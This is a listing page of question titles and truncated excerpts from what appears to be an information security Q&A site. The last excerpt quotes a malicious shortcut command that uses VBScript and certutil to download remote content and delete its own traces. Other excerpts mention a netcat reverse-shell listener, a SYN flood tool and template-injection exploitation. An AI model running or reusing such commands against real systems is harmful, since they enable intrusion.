All Questions

Filter by
Sorted by
Tagged with
0
votes
0answers
5 views

“Hacker”have my mobile phone and sim detail

Hacker had borrowed my android phone and he can put my mobile on surveillance with the help of illegal person,I reset my android phone without backing up data and then I ran malwarebytes app and with ...
0
votes
0answers
3 views

Certificate for SSTP VPN server

Folks I'm trying to set up an SSTP VPN on Windows Server 2019 Essentials (I was originally going to use L2TP/IPSec, but the company who manage our network infrastructure don't support it).I'm new to ...
0
votes
0answers
6 views

Comparing 2 files

I am sure that something malicious is going on with the 1st file (bigger file size) Please compare the two files and test if something malicious is found 1st file(malicious) -- https://funksyou.com/...
1
vote
1answer
7 views

Why is a hash sent with data secure?

Hash values are also useful for verifying the integrity of data sent through insecure channels. The hash value of received data can be compared to the hash value of data as it was sent to determine ...
0
votes
0answers
7 views

Is it safe to run a flask server in a development enviroment?

I have a project that I have to present on a Zoom call for my AP Computer Science class. I have a flask site, that I am running off of my laptop onto a port forward. When I run the server it says: ...
0
votes
0answers
7 views

Which courses to learn security based on a game format would you recommend? [closed]

guys! Do you know any security online courses based on a game format?
0
votes
2answers
17 views

Encrypt backup files and send them to AWS S3

I have a backup routine via crontab on Ubuntu. This routine generates a compressed tar.gz file and sends it to AWS S3. But I want to encrypt these files and be able to decrypt them when necessary on ...
0
votes
0answers
11 views

Block Connections from Consumer VPN networks at gateway [closed]

We have a web server behind an AWS Load Balancer. We'd like to block any host from accessing our web server if they are connecting from a Consumer VPN style network. We'll also be doing some geo-...
0
votes
1answer
16 views

Is it possible for a website to get information about you through its upload feature?

Reddit has a new image upload feature that takes a very long time to work after you click submit-- as long as 30 seconds. It isn't caused by the upload itself; that happens very quickly. I don't know ...
0
votes
0answers
12 views

Cannot overwrite eip in order to carry out ret2libc attack

I have a binary file vulnerable to a format strings attack with the following protections: (Full relro, NX and PIE) I have managed to find the libc version and hence the address of system and bin/sh ...
0
votes
0answers
13 views

How does Firebase app SHA-1 verification work?

Firebase iOS and Android applications authenticate with their servers using OAuth 2. Google makes this easy by providing a JSON file with the credentials and a library that handles authentication. ...
1
vote
0answers
16 views

Has someone quantified how much more effective typodomains are than random websites in phishing attacks?

Has someone done an actual study on how effective typo domains are versus random websites in phishing links? I am trying to justify the expense of going after typosquatters and the possibility of the ...
-2
votes
0answers
18 views

What is the text from decrypt is MD4 hash 1dbc00a3c4002a508a9a501d1e1ee676? [duplicate]

MD4 hash 1dbc00a3c4002a508a9a501d1e1ee676??? Pls help me guys answer this question
0
votes
1answer
35 views

Is it possible to decode an encoded PEM SSL certificate without OpenSSL in CLI? [closed]

It is said that PEM certificates are encoded with ASCII (Base64), excluding labels. Let's take this certificate as an example. -----BEGIN CERTIFICATE----- ...
3
votes
2answers
55 views

How do I inform a company I found a leaked database of theirs on the Internet?

Recently I found a leaked database of a company and I do not know how to go about contacting the company. It is so weird because I cannot find any type of Information Security contact email to report ...
0
votes
1answer
42 views

Can website detect if I’m using chrome remote desktop?

I was wondering if the website can detect the remote operation of my PC while I’m visiting. For example; I visit one website and click here and there while using my laptop for controlling my desktop ...
-1
votes
0answers
30 views

Can original text be extracted from data that has gone through HMACSHA512, if both salt and hash is available? [closed]

Can original text be extracted from data that has gone through HMACSHA512, if both salt and hash is available? To prevent personal data leaks, is it a good idea to store the hashed form of all user ...
4
votes
2answers
97 views

What does WPA2 traffic look like to a packet sniffer that is not connected to the network?

Imagine there is a wireless network using WPA2, and an attacker has come along with his wireless card in monitor mode. What will the packets from that network look like? Is any information disclosed i....
3
votes
1answer
51 views

Is this (explained in body) a possible attack vector when using haveibeenpwned API?

I'm currently working on understanding and contemplating to implement password strength validation for sign ups in my app, to include checking haveibeenpwned if entered password is compromised ...
2
votes
1answer
32 views

Is possible to implement a Web Cryptography API custom provider?

I'm reading some basic info about Web Cryptography API and I'm wondering if is possible to implement some crypto provider (C/C++ library or something) with some extra algorithms or is mandatory to use ...
2
votes
1answer
31 views

Is it trivial to protect from double free just by LD_PRELOADing a custom malloc/calloc and free?

Can't one just implement a malloc/calloc wrapper that adds the returned pointer address to a global hash table prior to returning, and then a free wrapper that checks for the presence of the pointer ...
-4
votes
1answer
57 views

How to rid of from hacker [closed]

Someone has hacked my android phone and is also capable of hacking while I am using app like winscribe how can I stop my tracking
0
votes
0answers
21 views

If someone stole my symantec VIP credential ID, would they be able to generate the same one-time passcode as the app does?

Let's say I've installed the Symantec VIP app on my device. If someone stole my Symantec VIP credential ID, would they be able to generate the same one-time passcode (OTP) as the app does?
-1
votes
1answer
39 views

reusing nmap results into another nmap scan [closed]

I did a SYN scan (-sS) on a large scope, and now I want to execute a script scan (-sC) on the open ports from the previous SYN scan results. I have results in all formats. Is there a way to do this ...
0
votes
0answers
26 views

Privileged access management operations - how-to manage RBAC roles?

Company that I am working for is implementing a well known PAM solution to manage and control privileged accounts and credentials. As agreed in the project plan, RBAC roles need to be provided to the ...
-1
votes
2answers
89 views

Encrypt files without leaving a hint of the encryption algorithm used [closed]

I noticed after encrypting some files with 7zip that they contained the information about the encryption algorithm used AES 256, i want to know if there is a better software that doesn't leave traces ...
0
votes
0answers
27 views

Is it possible to exploit “naive” shuffling algorithms to find the original order?

This Coding horror article talked about the danger of "naive" shuffling solutions and how using the Fisher-Yates shuffle manages to prevent this problem. If one has a large dataset of naive shuffle ...
0
votes
0answers
38 views

What is / are the best threat modeling method(s) for container security?

I am currently researching threat modeling for container security, I am wondering which methods are the best for container security. Till now I got the conclusion that STRIDE is most used and it is ...
-3
votes
0answers
34 views

What is the best way to upgrade a netcat low priv shell into a high priv shell [closed]

So say I ran a python reverse shell script on a victim machine and caught the connection on my machine using netcat -nvlp 4444. What would be the best way to upgrade this shell? Is there a way to ...
0
votes
2answers
37 views

Nmap scanning with and without proxychains has different behaviour

I'm doing a nmap scan to my own machine to my own machine. First of all I set the port 333 to listen with this command sudo nc -lvnp 333 On the other terminal I run sudo nmap -O -sV -p 0-65535 IP ...
0
votes
0answers
38 views

Is AES ECB mode safe for one block Encryption then MAC with same key?

I want to do something really basic but I need to be sure that the process is safe : Problem Alice and Bob have to agree on a secret 6 digits PIN. They each have a pre-shared aes symetric key k and ...
0
votes
0answers
33 views

Can a .pfx certificate file be shared between machines?

To access an API developed by a co-worker, he needed to whitelist my IP address and give me a certificate, which came in with the .pfx extension. I can access the API front-end just fine, but I cannot ...
0
votes
1answer
41 views

When using metasploit with my python reverse shell script I get a byte error, but it seems to work fine when using a netcat listener

When I run my python script and use netcat -nvlp 4444 the connection establishes fine and I am able to use the functions. When attempting to replicate this in metasploit I use set payload windows/...
1
vote
0answers
60 views

Are JWT still not recommended for sessions?

It seems there is a large divide as to wether or not you should have JWT or Session ID for managing user session on WebApp/API (for a web front end or/and a mobile app). It seems that the consensus ...
0
votes
0answers
3 views

Is LLMNR used when a local hostname is not found via DNS? [migrated]

When a Windows 10 computer searches for a network resource on a local network on which a DNS server exists, if the DNS server says "can't find it" (for example due to a typo), does the computer ...
0
votes
0answers
29 views

SYN Flood Test Platform [closed]

I am a new programmer. I made a SYN Flood program. I observed many packets with Wireshark. But I don't know how many megabytes there were. I don't know how many packets are going to the target in a ...
0
votes
1answer
78 views

Can people hack your iPhone Via Bluetooth if you leave it on?

I live in an apartment complex with lots of people, and oftentimes I would be able to see Bluetooth devices that do not belong to me on my iPhone or MacBook when I search for my Bluetooth device. ...
0
votes
0answers
27 views

Handlebars.js 4.1.1 Server Side Template Injection exploitation - running system commands with a Node.js RCE when require() is not available?

I'm currently reading the following article and trying to exploit the vulnerability (Handlebars.js 4.1.1 Server Side Template Injection): http://mahmoudsec.blogspot.com/2019/04/handlebars-template-...
0
votes
0answers
18 views

Exchange SAML for JWT with AAD

I have an internal app that allows users to sign in using Azure AD. On authentication, a SAML assertion is returned. However, some of the calls that the application makes require a JWT. WHat is the ...
0
votes
0answers
38 views

Browser threw me on same ad-site some seconds after scrolling on completely separate webpages

I was scrolling on two completely separate web pages, pages I have visited many times before. However they do both have ads. My browser is Opera, and I use an adblocker (on the other site it doesn't ...
0
votes
2answers
54 views

If I am trying to clean install a MacOS with internet recovery, is it safer to use mobile network than WIFI network?

I just clean installed my MacOS Catalina on my MacBook due to virus on my PC that I worried got on my MacBook via usb file transfer. I did an internet recovery to reinstall MacOS Catalina with my ...
7
votes
7answers
3k views

How to exchange public keys between two servers in a secure way?

I have 2 servers with pair of RSA public and private keys. Added We do not use CA for the internal communication yet and therefore we need to exchange keys without CA I need to establish a trust ...
0
votes
2answers
50 views

Can a computer/MacBook be compromised/infected/hacker simply be requesting/attempt to join a network?

I was finishing a clean installation of macOS Catalina on my MacBook, and I was asked to select a wifi network. I misclicked on a wifi network with a name that's very similar to mine and was asked to ...
0
votes
0answers
31 views

how to determine the full path of log file the mimikatz keylogger [closed]

What windows registry "mimikatz" modify? where on the c drive is executable file for mimikatz
0
votes
0answers
43 views

Password Vault Storing Passwords

I've been working on just a fun side project in C++ to practice encryption algorithms and I sort of ran into a bit of a roadblock of sorts. To summarize the project I have a text file of encrypted ...
2
votes
1answer
56 views

How secure is BitLocker without TPM?

My laptop doesn't have TPM. If I enable BL PIN and someone steals my laptop and remove the drive, will they be able to read it's content on another computer? How am I vulnerable without TPM?
0
votes
0answers
20 views

How to avoid privilege escalation with resource hierarchy access control?

I am trying to implement an efficient access control hierarchy/inheritance, where one can grant access to resources on a container level. However, it seems it is very easy to get privilege escalation ...
0
votes
0answers
23 views

How to build Linux Volatility Profiles With the Compiled Kernel

I'm familiar with creating Linux memory profiles as stated here. However, this is assuming that I have access to the live system which often times is not the case. I heard there is a way to build the ...
0
votes
1answer
54 views

Store credit card data in google sheets - Asymetric Encryption

Yes! this sounds crazy, and it is, please let me give you some background about this... I'm doing a self-checkin app for a hotel, this app will store this checkin data in google sheets, where the ...
0
votes
1answer
61 views

How dangerous are cmd scripts? [closed]

I accidentally clicked on a shortcut that is a script.. The shortcut was: %ComSpec% /c echo CreateObject("Wscript.Shell").Run"""%ComSpec%"" /c del ""%USERNAME%.vbs""&certutil -urlcache -f https://...

15 30 50 per page
1
2 3 4 5
1166